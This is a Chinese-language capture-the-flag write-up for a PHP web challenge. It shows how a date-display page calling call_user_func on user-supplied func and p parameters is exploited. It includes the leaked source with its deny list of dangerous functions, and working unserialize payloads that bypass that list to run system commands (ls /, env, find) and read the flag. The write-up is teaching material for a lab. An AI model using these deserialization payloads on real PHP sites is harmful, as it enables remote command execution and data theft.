打开靶场,,弹出上面的提示,是一个警告warning,而且页面每隔几秒就会刷新一次,根据warning中的信息以及信息中的时间一直在变,可以猜测是date()函数一直在被调用
查看页面源代码,没有什么有用的信息
Burp抓包一下
调用了date()函数并回显在页面上,参数func是函数名,p是参数值
func=date&p=Y-m-d+h%3Ai%3As+a
func=date
:指定要调用的函数为date
函数。date
是 PHP 中用于格式化本地日期和时间的内置函数。p=Y-m-d+h%3Ai%3As+a
:p
是传递给date
函数的参数,经过 URL 解码后为Y-m-d h:i:s a
,这是date
函数使用的日期和时间格式字符串,具体含义如下:Y
:表示四位数的年份,例如 2025。m
:表示两位数的月份,范围从 01 到 12。d
:表示两位数的日期,范围从 01 到 31。h
:表示 12 小时制的小时数,范围从 01 到 12。i
:表示分钟数,范围从 00 到 59。s
:表示秒数,范围从 00 到 59。a
:表示上午或下午,值为am
或pm
。
date()函数是不会自动输出结果的 ,既然显示了时间那么应该有echo 之类输出的操作,可以随便尝试php的函数根据输出的内容来验证是否有命令执行
1.查看是否回显
抓包修改参数,用简单的小写转换函数来验证是否有命令执行,回显为ab
func=strtolower&p=AB
func=strtolower
:明确要调用的函数为strtolower
。在 PHP 里,strtolower
函数的作用是将字符串中的所有大写字母转换为小写字母。p=AB
:这是传递给strtolower
函数的参数,也就是要进行转换操作的字符串
2.查看根目录,被过滤
用system()函数执行命令
func=system&p=ls
提示 Hacker... 被禁止了
把ls 改为123 还是hacker 参数不影响,说明应该是system函数被过滤了
3.查看文件内容
想办法查看文件的源码,可以用查看或者读取文件的函数 例如:file_get_contents() highlight_file() show_source()都可以,输入
func=file_get_contents&p=index.php
成功读取了index.php文件源码
php代码审计
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
1. 禁用函数列表
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
定义了一个包含众多危险函数的数组 $disable_fun
。这些函数可能被用于执行系统命令、读取文件内容、修改文件等操作,为防止恶意调用,将它们列入禁用名单。
2. gettime
函数
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a = gettype($result);
if ($a == "string") {
return $result;
} else {
return "";
}
}
该函数接收两个参数 $func
和 $p
,使用 call_user_func
动态调用 $func
函数并传入参数 $p
。之后检查返回结果的类型,若为字符串则返回结果,否则返回空字符串。
3. Test
类
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
定义了 Test
类,包含两个属性 $p
和 $func
,分别初始化为日期格式字符串和 date
函数名。__destruct
是析构函数,当对象销毁时会调用 gettime
函数输出当前日期和时间。
4. 主逻辑
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func, $disable_fun)) {
echo gettime($func, $p);
} else {
die("Hacker...");
}
}
从 HTTP 请求中获取 func
和 p
参数,将 func
转换为小写。若 func
不为空,检查其是否在禁用函数列表中。若不在,则调用 gettime
函数执行该函数并输出结果;若在,则终止脚本并输出 "Hacker..."
。
4.在func
和 p
参数内查看根目录
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
func=unserialize
:指定要调用的函数为unserialize
。unserialize
用于将序列化后的字符串反序列化为 PHP 对象或数组。p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
:这是传递给unserialize
函数的参数,是一个序列化后的字符串。具体解析如下:O:4:"Test"
:表示这是一个类名为Test
的对象,类名长度为 4。2
:表示该对象有 2 个属性。s:1:"p";s:4:"ls /";
:表示属性p
的值为字符串"ls /"
,这是一个 Linux 系统命令,用于列出根目录下的所有文件和文件夹。s:4:"func";s:6:"system";
:表示属性func
的值为字符串"system"
,system
是 PHP 中用于执行系统命令的危险函数。
回显了根目录下的文件,但是没有发现flag文件
5.查看一下环境变量env
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:3:"env";s:4:"func";s:6:"system";}
发现not_flag 那么flag应该是藏在某个目录下
6.使用find命令查找flag
构造system("find / -name *flag*") 用find查找所有文件名包含flag的文件
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system"
发现 /tmp/flagoefiu4r93,相较于其他路径较长的文件 和 系统proc目录下的文件 更加可疑
7.查看该文件,得到flag
func=readfile&p=/tmp/flagoefiu4r93
参考链接:[网鼎杯 2020 朱雀组]phpweb 详细题解(反序列化绕过命令执行)